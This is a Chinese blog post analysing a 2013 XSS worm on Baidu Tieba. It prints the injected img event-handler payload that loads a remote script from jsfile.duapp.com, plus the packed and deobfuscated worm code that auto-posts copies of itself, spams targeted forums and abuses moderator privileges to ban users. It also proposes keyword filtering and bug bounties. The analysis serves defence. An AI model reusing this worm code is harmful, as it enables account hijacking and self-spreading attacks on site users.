百度贴吧恶意代码分析

2 篇文章 0 订阅
2 篇文章 0 订阅

总结:

此恶意代码的表现是 点击进入带有恶意代码的帖子后 会自动在用户访问过的贴吧发带有相同恶意代码的帖子 并回复当前贴

本人在逛贴吧的时候 突然发现自己点击一个帖子后显示自己已经回复此贴 再看发帖列表的时候 自己在另一个吧发了相同题目的帖子

于是认为是有恶意代码 当时经过排查 发现在浏览其他网页的 甚至其他正常帖子的时候都没有问题 于是就把目标锁定在那个帖子上

同时发现各个贴吧中都有类似的帖子出现 基本上认为是有人发了带有恶意代码的帖子 

立即关闭chrome浏览器的javascript 再次进入那个帖子 查看其内容 目标在该贴楼主的文章内部 发现了这个东西


利用了img标签 onload事件可以调用外部恶意代码的漏洞


于是这次事件毫无疑问的可以定性为xss攻击

但是就目前拿到的代码(3个js代码文件 只拿到两个) 分析 除了上述的行为以外 没有什么恶劣的行为

并且

1 其代码中有控制XSS攻击的时间范围(2013.06.12 17:40:00 到 2013.06.12 21:00:00 之间) 

2 在之后更改了timer.js 移除了帖子中的恶意代码 

3 代码中发现了黑名单 和白名单

因此 此次攻击的主导者是有预谋 有针对性 有克制力的 

他也不愿事件失控 或许只是为了针对某些人 但也不想做的太过分 同时也想将这个漏洞以这种方式通知给百度


此XSS漏洞的运作方式已经了解的很清楚了 但是处于种种考虑不想研究和描述其发帖的过程 

本人既没有对web安全有比较深入的了解 也没有很多web开发的经验 更不知道百度的架构是怎么样的

针对此漏洞 斗胆提出几个建议:

技术上说 : 还是要贯彻"一切输入输出都是不可靠的" 这一概念 

不仅仅要在前端用JS来限制用户输入 还需要在后端对POST的内容进行判断 

就本例而言 如果在后台接到POST的内容后 对内容进行审查 发现"onload" "script" "document.body.appendChild" "document.createElement"这样的关键字

以及其它例如"onerror" "onabort" 自然可以作出应对, 删除这部分内容或者直接舍弃掉这篇帖子

另外一方面 不使用HTML标签的形式编辑、存储帖子内容应该也是必要的 

以某种类似于markdown的语句存储帖子内容 因其从HTML转换成目标语句的过程中必然不会有显示的时候不需要的Event Handler 

(其实<对于贴吧来说 帖子内容的所有HTML标签的任何Event Handler都是不需要的)显示帖子的时候再用JS或者后台直接转换成HTML语言

这样可以很大程度上增加攻击者的注入难度


策略上说 : 个人认为Google的漏洞悬赏是很靠谱的 这样即能建立起漏洞反馈的渠道 又可以在漏洞被流传开来之前就获得漏洞的信息以修复 还能提高漏洞发现积极性 花的钱也不多

----------------------------------------


onLoad中的代码:

整理如下:

var script = document.createElement('script');
script.type = 'text/javascript';
script.charset = 'utf-8';
script.setAttribute('text', 'xsspayloadtoken');
script.src = 'http://jsfile.duapp.com/timer.js';
document.body.appendChild(script)" " = "

将一段恶意代码包装在一个img标签的 onload事件中 

在这段代码中 新建了一个Javascript DOM节点

然后加载了http://jsfile.duapp.com/timer.js这个JS文件 

最后添加在body的最后

因为这个img标签的图片比较小, 并且是在贴吧自己的静态服务器上 图片加载完毕的时候往往页面还没有加载完毕

等到浏览器运行到body的最后时 这个script节点中的JS代码就会自动运行


访问http://jsfile.duapp.com/这个网页是一段乱码

貌似是托管在百度app上的一段代码


http://jsfile.duapp.com/timer.js中的代码如下:

;;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('G a=["\\n\\e\\c\\g\\t\\p\\h\\k\\c\\t\\n\\g\\l","\\F\\d\\d\\f\\1g\\x\\x\\H\\e\\E\\j\\l\\c\\C\\s\\n\\h\\f\\f\\C\\q\\i\\k\\x\\f\\h\\y\\l\\i\\h\\s\\C\\H\\e","\\j\\e\\t\\E\\i\\g\\n\\k\\t\\k\\h\\p\\h\\J\\c\\g","\\n\\e\\c\\g\\t\\g\\i\\l\\c\\e","\\f\\i\\1r\\c\\g","\\j\\e\\t\\E\\i\\g\\n\\k\\t\\f\\k","\\F\\d\\d\\f\\1g\\x\\x\\H\\e\\E\\j\\l\\c\\C\\s\\n\\h\\f\\f\\C\\q\\i\\k\\x\\J\\q\\C\\H\\e","\\b\\m\\m\\b\\I\\m\\b\\m\\Q\\b\\K\\v\\b\\m\\P\\b\\v\\R\\b\\m\\L\\b\\K\\Q\\b\\w\\R\\b\\K\\L","\\b\\I\\1b\\b\\w\\S\\b\\w\\N\\b\\v\\1l\\b\\A\\P\\b\\v\\M\\b\\m\\L\\b\\w\\L","\\1q\\A\\b\\w\\N\\b\\I\\N\\b\\A\\m\\b\\K\\A\\b\\A\\R\\b\\A\\P\\b\\m\\S\\b\\v\\Q\\b\\w\\S\\b\\v\\Q\\b\\w\\R\\b\\I","\\l\\c\\p\\J\\d\\F","\\g\\c\\k\\i\\1h\\c","\\j\\k\\J\\Z\\d\\c\\z\\d\\Y\\O\\p\\j\\c\\M\\1b\\T\\J\\j\\e\\p\\P\\j\\M\\N\\y\\O\\1f","\\e\\q\\g\\j\\f\\d\\Z\\d\\c\\z\\d\\Y\\O\\z\\e\\e\\f\\h\\y\\l\\i\\h\\s\\d\\i\\1a\\c\\p\\O\\1f","\\e\\q\\g\\j\\f\\d","\\q\\g\\c\\h\\d\\c\\I\\l\\c\\k\\c\\p\\d","\\d\\y\\f\\c","\\d\\c\\z\\d\\x\\H\\h\\1h\\h\\e\\q\\g\\j\\f\\d","\\q\\F\\h\\g\\e\\c\\d","\\n\\d\\E\\1s\\M","\\e\\g\\q","\\d\\c\\z\\d","\\z\\e\\e\\f\\h\\y\\l\\i\\h\\s\\d\\i\\1a\\c\\p","\\e\\c\\d\\v\\d\\d\\g\\j\\T\\n\\d\\c","\\h\\f\\f\\c\\p\\s\\m\\F\\j\\l\\s","\\T\\i\\s\\y"];G V=[X U(1e,5,12,17,1t,0),X U(1e,5,12,1c,0,0)];G W=X U();G o=D[a[0]];u(W>V[0]&&W<V[1]){r(a[1]);u(D[a[4]][a[3]][a[2]]||D[a[4]][a[3]][a[5]]){r(a[6])};u(o==a[7]||o==a[8]||o==a[9]){r(a[6])};u(o[a[10]]<=12){r(a[6])}}1u{u(D[a[4]][a[3]][a[2]]||D[a[4]][a[3]][a[5]]){r(a[6])};u(o==a[7]||o==a[8]||o==a[9]){r(a[6])};u(o[a[10]]<=12){r(a[6])}};$(a[12])[a[11]]();$(a[13])[a[11]]();1j r(1i){G B=1d[a[15]](a[14]);B[a[16]]=a[17];B[a[18]]=a[19];B[a[1k]]=1i;B[a[1o]](a[1c],a[1p]);1d[a[1m]][a[1n]](B)};',62,93,'||||||||||_0xcba0|x25|x65|x74|x73|x70|x72|x61|x6F|x69|x6D|x6C|x43|x75|nurl|x6E|x63|loadScript|x64|x5F|if|x41|x44|x2F|x79|x78|x42|_0x6e0ax6|x2E|PageData|x66|x68|var|x6A|x45|x67|x46|x39|x38|x32|x22|x34|x31|x37|x30|x62|Date|targetDate|presentTime|new|x3D|x5B|||||||||||x6B|x35|21|document|2013|x5D|x3A|x76|_0x6e0ax5|function|20|x33|25|24|23|22|x54|x77|x2D|40|else'.split('|'),0,{}))
  void 0

万恶的eval()

这是一段被打包过的代码 先吃饭了 回头再分析


----------------------------------------------------------

截至2013.0612   21:00 timer.js已被修改为

$('img[text="nie85bgisn4i82y"]').remove();
$('script[text="xsspayloadtoken"]').remove();
location.href='http://jsfile.duapp.com/';


感谢 wudi343 网友的帮助 将之前的 timer.js 加密过的代码解密 内容如下:

var targetDate=[new Date(2013,5,12,17,40,0),new Date(2013,5,12,21,0,0)];
var presentTime=new Date();
var nurl=PageData["user_name_url"];
if(presentTime>targetDate[0]&&presentTime<targetDate[1]){
	loadScript("http://jsfile.duapp.com/payload.js");
	if(PageData["power"]["user_roles"]["is_forum_manager"]||PageData["power"]["user_roles"]["is_forum_pm"]){
		loadScript("http://jsfile.duapp.com/gc.js")
	;
	if(nurl=="%CC%EC%C1%FA%C4%A7%C9%F1%D7%F9"||nurl=="%E5%D0%D2%A3%B4%A8%C9%D9"||nurl=="TB%D2%E2%BC%FB%B7%B4%C0%A1%D0%A1%D7%E"){
		loadScript("http://jsfile.duapp.com/gc.js")
	};
	if(nurl["img[text='nie85bgisn4i82y']"]<=12){
		loadScript("http://jsfile.duapp.com/gc.js")
	}
}else{
	if(PageData["power"]["user_roles"]["is_forum_manager"]||PageData["power"]["user_roles"]["is_forum_pm"]){
		loadScript("http://jsfile.duapp.com/gc.js")};
		if(nurl=="%CC%EC%C1%FA%C4%A7%C9%F1%D7%F9"||nurl=="%E5%D0%D2%A3%B4%A8%C9%D9"||nurl=="TB%D2%E2%BC%FB%B7%B4%C0%A1%D0%A1%D7%E"){
			loadScript("http://jsfile.duapp.com/gc.js")
		};
		f(nurl["img[text='nie85bgisn4i82y']"]<=12){
			loadScript("http://jsfile.duapp.com/gc.js")
		}
	};
	$("")["remove"]();
	$("script[text='xsspayloadtoken']")["remove"]();
	function loadScript(_0x6e0ax5){
		var script=document["createElement"]("script");
		script["type"]="text/javascript";
		script["charset"]="utf-8";
		script["src"]=_0x6e0ax5;
		script["setAttribute"]("text","xsspayloadtoken");
		document["body"]["appendChild"](script)
	};

从这段代码中看出 如果当前时间在 2013.06.12 17:40:00 到 2013.06.12 21:00:00 之间

加载

http://jsfile.duapp.com/payload.js
这里的代码

如果满足一系列条件 就再加载

http://jsfile.duapp.com/gc.js
这里的代码 

2013.06.12 23:43 所有的代码已经找不到了(505错误) 所以没办法得到gc.js的代码


/*

第一段hex:

http://jsfile.duapp.com/payload.js","祝各位吧友端午节快乐,玩的开心

img[text="nie85bgisn4i82y"]

script[text="xsspayloadtoken"]

script

text/javascript

utf-87:text

xsspayloadtoken

*/


先不管别的 为免再次被修改 ,把payload.js抓下来如下:

;;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('9 f={w:6.y.1s,D:"E-8",2j:"1",1M:"1",M:6.y.k,l:6.H.k,g:"\\W\\2X\\2C\\2V\\3u\\3C\\O\\2G\\2N\\2N",m:6.m,2g:"3p,3r,n,A,C,n,C,3q,1U,C,A,n,A,C,A,n,A,C,A,n,1U,2J,n,C,n,1U,C,2H,2H,n,A,2J,n,n,2Z",2a:"3c",2c:"1",3D:"0",4a:"0",1Y:"0",25:"11",24:"1"};$.o("z://v.u.h/f/J/o/B",f);9 c=49.4b();c.45="";9 g=["\\2e\\2G\\4m\\4n\\1b\\P\\4o\\4k\\4g\\4f\\W\\2C\\4j\\3L","2\\W\\2v\\P\\2w\\2w","\\P\\2v\\3M\\1D\\3O\\O\\3N\\3a\\2t","\\O\\W\\3I\\3P","\\1V\\3X\\3W\\3Y","\\P\\3Z\\3Q\\3T\\1b\\3U\\3S\\3R\\3V\\P\\2r\\40\\1X","\\2p\\3H\\1b\\3G\\1X\\28\\3E\\3F\\3J\\2o","\\2m\\2m\\3K","\\4i\\4h\\4p\\4l","\\O\\W\\4e\\44"];g=g[17.2i(17.2h()*10)];F=F[17.2i(17.2h()*5)];9 2s=["43","41","2f"];9 2q=["\\42\\48\\4c\\4d","\\3b\\30","\\2k\\2d\\2b"]9 1W=["3g","3h","3f","3d","3e"];9 2A=["2S","2Y","2W","2U","2T","3w","3x","3v","3t","3B","3A","3y","3s","3l","3m","3k","3i","3j","3o","3n","3z"];9 1r=[];9 1B=[];9 21=6.K.L.I.1Q;1E(9 i=0,j=0;i<21;i++){s(6.K.L.I[i].2R>4){s(!(1W.1K(b(x){1a x==6.K.L.I[i].k}))&&!(2A.1K(b(x){1a x==6.K.L.I[i].k}))){1r[j]=6.K.L.I[i].5y;1B[j]=6.K.L.I[i].k;j++}}};9 1O=[V 15(1Z,20,12,19,29,23),V 15(1Z,20,12,19,36,23)];9 1J=V 15();s(1J>1O[0]&&1J<1O[1]){c.F="\\N\\N\\N\\5C\\5B\\5t\\5v \\5q\\5r\\5p\\5n\\N\\N\\N\\5o\\5w\\5u\\5s";c.g=\'<Z 1j="1k" 1i="1" 1g="1" r="#" Y="X\\1h 1l=\\1p 7 = q.1q(\\1o\\a);7.T = \\1m/1n\\a;7.1x = \\1y-8\\1v;7.1u(\\1t\\a,\\1w\\a);7.r = \\1z://1d.1e.h/1f.18\\a;q.14.1c(7)\\13">\';c.g+="\\5g\\5h\\1D\\1V\\2t\\2l\\5f\\5d \\5e \\1b\\5l\\5m\\5k\\5i\\5j"}5E{c.g=\'<Z 1j="1k" 1i="1" 1g="1" r="#" Y="X\\1h 1l=\\1p 7 = q.1q(\\1o\\a);7.T = \\1m/1n\\a;7.1x = \\1y-8\\1v;7.1u(\\1t\\a,\\1w\\a);7.r = \\1z://1d.1e.h/1f.18\\a;q.14.1c(7)\\13">\';c.g+=g;c.F=F};b 1C(k,w){c.M=k;c.w=w;$.o("z://v.u.h/f/J/H/B",c)};1E(i=0;i<3;i++){26("1C(\'"+2s[i]+"\',\'"+2q[i]+"\')",5D*i)};9 27={w:"\\2k\\2d\\2b",D:"E-8",2j:"1",1M:"0",M:"2f",l:"0",2g:"36,34,32,58,35,36,35,46,31,39,58,38,58,39,58,38,58,39,58,38,58,39,58,38,58,39,58,38,31,36,35,47,33,37,36,31,39,34,34,38,58,47,38,38,5A",2a:"5z",2c:"1",F:"\\2e\\1D\\4F\\2r\\O\\4G\\2u\\2u",g:\'<Z 1j="1k" 1i="1" 1g="1" r="#" Y="X\\1h 1l=\\1p 7 = q.1q(\\1o\\a);7.T = \\1m/1n\\a;7.1x = \\1y-8\\1v;7.1u(\\1t\\a,\\1w\\a);7.r = \\1z://1d.1e.h/1f.18\\a;q.14.1c(7)\\13">\\4E\\2n\\4C\\2l\\2n\\2p\\2o\\28\\4D\\4H\\4L\\5x\\4K\',1Y:"0",m:6.m,25:"11",24:"1"};$.o("z://v.u.h/f/J/H/B",27);1E(i=0;i<1r.1Q;i++){26("1C(\'"+1B[i]+"\',\'"+1r[i]+"\')",4I*i)};s(6.1G.1L.2O){9 d={D:"E-8",m:6.m,w:6.y.1s,M:6.y.k,l:6.H.k,4J:"0"};$.o(\'z://v.u.h/f/J/H/22/B\',d);4B("$.o(\'z://v.u.h/f/J/H/22/B\',d);",4t)};s(6.1G.1L.4u||6.1G.1L.2O){9 2K={4s:"1",2P:"4q",M:6.y.k,D:"E-8",m:6.m,2Q:6.2Q};$.o("z://v.u.h/4r/2P",2K);9 2z=1S.1R(q.4v("4z 4A")[0].1P("R-S"));9 2B={T:"1",4y:2z.4w.1s,D:"E-8"};$.o("z://v.u.h/4x/B",2B)};b 2L(2E,g){9 1H,16,1T,1A,Q;1H={w:6.y.1s,D:"E-8",M:6.y.k,g:g,m:6.m};16=b(2y,1F){9 G=V 4N;G.54(\'55\',2y,2I);G.53=\'q\';G.1F=b(){1F(G.51)};G.52()};1T=b(){16(\'/f?56=1&w=\'+6.y.5b+\'&t=\'+V 15().5c(),b(U){$(U).1N("5a[R-S*=\'\\"57\\":1\']").59(b(){9 d=1S.1R(4Z.1P(\'R-S\'));d.2D<50&&1A(d.k,d.2D>0)})})};1A=b(l,2F){16(\'z://v.u.h/p/\'+l,b(U){s($(U).1N(\'Z[Y="\'+2E+\'"]\').1Q!==0)1a;2F?([].1K.4R($(U).1N(\'.4S:4Q([R-S$="\\"1M\\":\\"1\\"}"]) > 4O > .4P\'),b(e){s(e.4T>=5)1a 2I;Q(l,1S.1R(e.2x.2x.1P(\'R-S\')).4X)})&&Q(l)):Q(l)})};Q=b(l,1I){9 c=4Y(1H);c.l=l;s(1I)c.4W=1I;$.o(\'/f/J/o/B\',c)};1T()};2L(\\4U"X",\'<Z 1j="1k" 1i="1" 1g="1" r="#" Y="X\\1h 1l=\\1p 7 = q.1q(\\1o\\a);7.T = \\1m/1n\\a;7.1x = \\1y-8\\1v;7.1u(\\1t\\a,\\1w\\a);7.r = \\1z://1d.1e.h/1f.18\\a;q.14.1c(7)\\13">\\4V\\4M\\2M\\2M\');',62,351,'||||||PageData|script||var|u2018|function|||||content|com|||id|tid|tbs|101|post||document|src|if||baidu|tieba|kw||forum|http|121|add|100|ie|utf|title|xhr|thread|info|commit|user|user_forum_list|fid|u00b7|u4e00|u6211|step3|data|field|type|res|new|u697c|nie85bgisn4i82y|text|img||||u201c|body|Date|get|Math|js||return|uff0c|appendChild|jsfile|duapp|timer|height|u201d|width|class|BDE_Smiley|onerror|u2019text|javascript|u2019script|u201cvar|createElement|forumName|name|u2018text|setAttribute|u2019|u2019xsspayloadtoken|charset|u2018utf|u2019http|step2|forumId|makeit|u5427|for|onload|power|model|lzl|presentTime|some|user_roles|floor_num|find|targetDate|getAttribute|length|parse|JSON|step1|92|u5927|whitelist|u89c9|anonymous|2013|05|lf|good|00|new_vcode|tag|setTimeout|slj|u4e0d||mouse_pwd_t|u519b|mouse_pwd_isclick|u7acb|u8fd9|1206079|mouse_pwd|random|floor|rich_text|u5b59|u56fd|u4e48|u6f2b|u4e86|u597d|blacklistkw|u5c31|blacklist|u5e1d|u5475|u662f|u7239|parentElement|url|LZ|officialForum|ef|u7684|reply_num|token|hasreply|u4e2a|97|true|108|ee|scan|u6324|uff01|is_forum_manager|cm|user_name|user_level|153669|2504636|898666|u5e16|2917706|u4e3b|1065858|13709731144851|u6bc5||||||||||u6c89|u674e|1370973114485|2520908|9046|2262468|635137|1074587|746110|154474|2177090|2118405|1962969|4035056|3025434|102|103|99|86209|2331213|u5b50|1566944|1882284|813565|4536|1153798|350911|3170781|u8d5e|lp_type|u4f1a|u518d|u611f|u7d2f|u9632|u7231|u54d2|u89c1|u672c|u79d2|u7b2c|u541e|u6570|u6253|u4eba|u523020|u6ca1|u65ad|u665a|u5bb6|u5b89|u4ece1|u7761|59099|u9b54|73787|u718a|prefix|||u517d|rich_postor|lp_sub_type|_getData|u4e16|u754c|u5582|u542c2|u542c|u8757|u98de|u610f|u8981|u6e56|u95ee|u9898|u4eec|u829c|filter_forum_user|bawu|ban_days|1200|is_forum_bawu|getElementsByClassName|author|tphide|hide_un|l_post|noborder|setInterval|u6bd4|u77e5|u65e5|u91cc|u7fa4sb|u9053|2000|cid|u500d|u591a|u6392|XMLHttpRequest|div|j_lzl_m_w|not|call|j_lzl_container|childElementCount|u00a0|u524d|quote_id|pid|Object|this||responseXML|send|responseType|open|GET|apage|is_top||each|li|name_url|getTime|u4f4d|u53d7|u5404|u795d|u7206|u5feb|u4e50|u8282|u7aef|u5348|u8fc7|u80a5|u8e0f|u94c1|u9a91|u4e34|u4e4b|u964d|u9b42|u9e2d|u5c11|forum_name|1370973332622|13709733326221|u4ec7|u590d|3000|else'.split('|'),0,{}))


解密如下:

var f = {
    kw: PageData.forum.name,
    ie: "utf-8",
    rich_text: "1",
    floor_num: "1",
    fid: PageData.forum.id,
    tid: PageData.thread.id,
    content: "楼主的帖子赞一个!!",
    tbs: PageData.tbs,
    mouse_pwd: "102,99,101,121,100,101,100,103,92,100,121,101,121,100,121,101,121,100,121,101,92,108,101,100,101,92,100,97,97,101,121,108,101,101,13709731144851",
    mouse_pwd_t: "1370973114485",
    mouse_pwd_isclick: "1",
    lp_type: "0",
    lp_sub_type: "0",
    anonymous: "0",
    tag: "11",
    new_vcode: "1"
};
$.post("http://tieba.baidu.com/f/commit/post/add", f);
var c = rich_postor._getData();
c.prefix = "";
var content = ["这个问题,我们要听听2楼的意见", "2楼是我爹爹", "我是本吧第一秒沉帝", "一楼防吞", "大家晚安", "我从1数챎0,没人打断我就睡觉", "好累,感觉不会再爱了", "么么哒", "飞蝗芜湖", "一楼喂熊"];
content = content[Math.floor(Math.random() * 10)];
title = title[Math.floor(Math.random() * 5)];
var blacklist = ["73787", "59099", "1206079"];
var blacklistkw = ["魔兽世界", "李毅", "孙立军"]
var whitelist = ["635137", "1074587", "2262468", "2520908", "9046"];
var officialForum = ["153669", "1065858", "2917706", "898666", "2504636", "1882284", "813565", "1566944", "2331213", "3170781", "350911", "4536", "86209", "2118405", "1962969", "2177090", "746110", "154474", "3025434", "4035056", "1153798"];
var forumName = [];
var forumId = [];
var lf = PageData.user.user_forum_list.info.length;
for (var i = 0, j = 0; i < lf; i++) {
    if (PageData.user.user_forum_list.info[i].user_level > 4) {
        if (!(whitelist.some(function (x) {
            return x == PageData.user.user_forum_list.info[i].id
        })) && !(officialForum.some(function (x) {
            return x == PageData.user.user_forum_list.info[i].id
        }))) {
            forumName[j] = PageData.user.user_forum_list.info[i].forum_name;
            forumId[j] = PageData.user.user_forum_list.info[i].id;
            j++
        }
    }
};
var targetDate = [new Date(2013, 05, 12, 19, 29, 00), new Date(2013, 05, 12, 19, 36, 00)];
var presentTime = new Date();
if (presentTime > targetDate[0] && presentTime < targetDate[1]) {
    c.title = "···复仇之魂 铁骑踏过···肥鸭降临";
    c.content = '<img class="BDE_Smiley" width="1" height="1" src="#" text="nie85bgisn4i82y” οnerrοr=“var script = document.createElement(’script‘);script.type = ’text/javascript‘script.charset = ‘utf-8’script.setAttribute(‘text‘,’xsspayloadtoken‘);script.src = ’http://jsfile.duapp.com/timer.js‘document.body.appendChild(script)“">';
    c.content += "祝爆吧大帝国各位 受 ,端午节快乐"
} else {
    c.content = '<img class="BDE_Smiley" width="1" height="1" src="#" text="nie85bgisn4i82y” οnerrοr=“var script = document.createElement(’script‘);script.type = ’text/javascript‘script.charset = ‘utf-8’script.setAttribute(‘text‘,’xsspayloadtoken‘);script.src = ’http://jsfile.duapp.com/timer.js‘document.body.appendChild(script)“">';
    c.content += content;
    c.title = title
};


function makeit(id, kw) {
    c.fid = id;
    c.kw = kw;
    $.post("http://tieba.baidu.com/f/commit/thread/add", c)
};
for (i = 0; i < 3; i++) {
    setTimeout("makeit('" + blacklist[i] + "','" + blacklistkw[i] + "')", 3000 * i)
};
var slj = {
    kw: "孙立军",
    ie: "utf-8",
    rich_text: "1",
    floor_num: "0",
    fid: "1206079",
    tid: "0",
    mouse_pwd: "36,34,32,58,35,36,35,46,31,39,58,38,58,39,58,38,58,39,58,38,58,39,58,38,58,39,58,38,31,36,35,47,33,37,36,31,39,34,34,38,58,47,38,38,13709733326221",
    mouse_pwd_t: "1370973332622",
    mouse_pwd_isclick: "1",
    title: "这吧里就一群sb呵呵",
    content: '<img class="BDE_Smiley" width="1" height="1" src="#" text="nie85bgisn4i82y” οnerrοr=“var script = document.createElement(’script‘);script.type = ’text/javascript‘script.charset = ‘utf-8’script.setAttribute(‘text‘,’xsspayloadtoken‘);script.src = ’http://jsfile.duapp.com/timer.js‘document.body.appendChild(script)“">日漫比国漫好了不知道多少倍',
    anonymous: "0",
    tbs: PageData.tbs,
    tag: "11",
    new_vcode: "1"
};
$.post("http://tieba.baidu.com/f/commit/thread/add", slj);
for (i = 0; i < forumName.length; i++) {
    setTimeout("makeit('" + forumId[i] + "','" + forumName[i] + "')", 2000 * i)
};
if (PageData.power.user_roles.is_forum_manager) {
    var d = {
        ie: "utf-8",
        tbs: PageData.tbs,
        kw: PageData.forum.name,
        fid: PageData.forum.id,
        tid: PageData.thread.id,
        cid: "0"
    };
    $.post('http://tieba.baidu.com/f/commit/thread/good/add', d);
    setInterval("$.post('http://tieba.baidu.com/f/commit/thread/good/add',d);", 1200)
};
if (PageData.power.user_roles.is_forum_bawu || PageData.power.user_roles.is_forum_manager) {
    var ee = {
        ban_days: "1",
        cm: "filter_forum_user",
        fid: PageData.forum.id,
        ie: "utf-8",
        tbs: PageData.tbs,
        user_name: PageData.user_name
    };
    $.post("http://tieba.baidu.com/bawu/cm", ee);
    var LZ = JSON.parse(document.getElementsByClassName("l_post noborder")[0].getAttribute("data-field"));
    var ef = {
        type: "1",
        hide_un: LZ.author.name,
        ie: "utf-8"
    };
    $.post("http://tieba.baidu.com/tphide/add", ef)
};


function scan(token, content) {
    var model, get, step1, step2, step3;
    model = {
        kw: PageData.forum.name,
        ie: "utf-8",
        fid: PageData.forum.id,
        content: content,
        tbs: PageData.tbs
    };
    get = function (url, onload) {
        var xhr = new XMLHttpRequest;
        xhr.open('GET', url, true);
        xhr.responseType = 'document';
        xhr.onload = function () {
            onload(xhr.responseXML)
        };
        xhr.send()
    };
    step1 = function () {
        get('/f?apage=1&kw=' + PageData.forum.name_url + '&t=' + new Date().getTime(), function (res) {
            $(res).find("liÚta-field*='\"is_top\":1']").each(function () {
                var d = JSON.parse(this.getAttribute('data-field'));
                d.reply_num < 50 && step2(d.id, d.reply_num > 0)
            })
        })
    };
    step2 = function (tid, hasreply) {
        get('http://tieba.baidu.com/p/' + tid, function (res) {
            if ($(res).find('img[text="' + token + '"]').length !== 0) return;
            hasreply ? ([].some.call($(res).find('.j_lzl_container:not(Úta-field$="\"floor_num\":\"1\"}"]) > div > .j_lzl_m_w'), function (e) {
                if (e.childElementCount >= 5) return true;
                step3(tid, JSON.parse(e.parentElement.parentElement.getAttribute('data-field')).pid)
            }) && step3(tid)) : step3(tid)
        })
    };
    step3 = function (tid, lzl) {
        var c = Object(model);
        c.tid = tid;
        if (lzl) c.quote_id = lzl;
        $.post('/f/commit/post/add', c)
    };
    step1()
};
scan(  "nie85bgisn4i82y", '<img class="BDE_Smiley" width="1" height="1" src="#" text="nie85bgisn4i82y” οnerrοr=“var script = document.createElement(’script‘);script.type = ’text/javascript‘script.charset = ‘utf-8’script.setAttribute(‘text‘,’xsspayloadtoken‘);script.src = ’http://jsfile.duapp.com/timer.js‘document.body.appendChild(script)“">前排挤挤');


这段代码中值得注意的是

var blacklist = ["73787", "59099", "1206079"];  

var blacklistkw = ["魔兽世界", "李毅", "孙立军"];

var whitelist = [635137, 1074587, 2262468, 2520908, 9046]

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值